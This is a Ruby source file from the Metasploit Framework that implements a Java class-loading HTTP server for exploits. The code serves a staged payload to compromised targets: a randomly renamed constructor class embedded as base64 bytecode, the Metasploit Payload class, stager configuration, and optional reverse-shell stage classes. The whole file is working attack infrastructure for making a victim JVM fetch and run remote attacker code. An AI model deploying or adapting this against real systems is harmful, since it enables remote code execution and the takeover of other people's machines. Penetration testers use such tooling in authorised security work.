# -*- coding: binary -*-

#
# This mixin implements the remote loading of Java classes over HTTP
#

module Msf::Exploit::Remote::Java::HTTP
module ClassLoader

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Stance' => Msf::Exploit::Stance::Aggressive
    ))
  end

  def start_service(opts = {})
    # XXX: This is a workaround until we can take SSL in opts
    ssl = datastore['SSL']
    datastore['SSL'] = false

    super

    datastore['SSL'] = ssl
    get_uri
  end

  def resource_uri
    return @resource_uri if @resource_uri
    # the resource URI must end in / for the class loading to work
    path = super
    path += '/' unless path.end_with?('/')
    @resource_uri = path
  end

  def on_request_uri(cli, request)
    vprint_status("#{request.method} #{request.uri} requested")

    unless %w[HEAD GET].include?(request.method)
      vprint_error("Ignoring #{request.method} request")
      return
    end

    resource = request.raw_uri.delete_prefix(resource_uri)

    if request.method == 'HEAD'
      whitelist = %W[
        #{class_name}.class
        metasploit/Payload.class
        metasploit.dat
      ]

      unless whitelist.include?(resource)
        vprint_error('Sending 404')
        return send_not_found(cli)
      end

      vprint_good('Sending 200')
      return send_response(cli, '')
    end

    case resource
    # Stage 1
    when "#{class_name}.class"
      vprint_good('Sending the constructor class')
      # This contains the constructor that will call our JavaPayload
      res = constructor_class
    # Stage 2
    when 'metasploit/Payload.class'
      vprint_good('Sending the main payload class')
      # This is our JavaPayload as a compiled class
      res = MetasploitPayloads.read('java/metasploit/Payload.class')
    # Stage 3
    when 'metasploit.dat'
      vprint_good('Sending the payload configuration data')
      # This tells the target how to address the payload; this is the magic!
      res = payload_instance.stager_config
    # (Optional) Stage 4 data for unstaged payloads such as java/shell_reverse_tcp
    when /^javapayload\/stage\/(?:Shell|Stage|StreamForwarder)\.class$/
      vprint_good("Sending additional payload class: #{resource}")
      res = MetasploitPayloads.read("java/#{resource}")
    else
      vprint_error('Sending 404')
      return send_not_found(cli)
    end

    send_response(
      cli,
      res,
      # file -I says application/x-java-applet, but I don't believe it
      'Content-Type' => 'application/octet-stream'
    )
  end

=begin javac Metasploit.java
  import metasploit.Payload;

  public class Metasploit {
    public Metasploit() {
      try {
        Payload.main(null);
      }
      catch (Exception e) {}
    }
  }
=end
  def constructor_class
    klass = Rex::Text.decode_base64(
      <<~EOF
        yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN
        U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u
        AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB
        AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA
        AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB
        BwALAAAA
      EOF
    )

    # Replace length-prefixed string "Metasploit" with a random one
    klass.sub("\x00\x0aMetasploit", packed_class_name)
  end

  def class_name
    @class_name ||= rand_text_alpha(8..42).capitalize
  end

  def packed_class_name
    "#{[class_name.length].pack('n')}#{class_name}"
  end

end
end
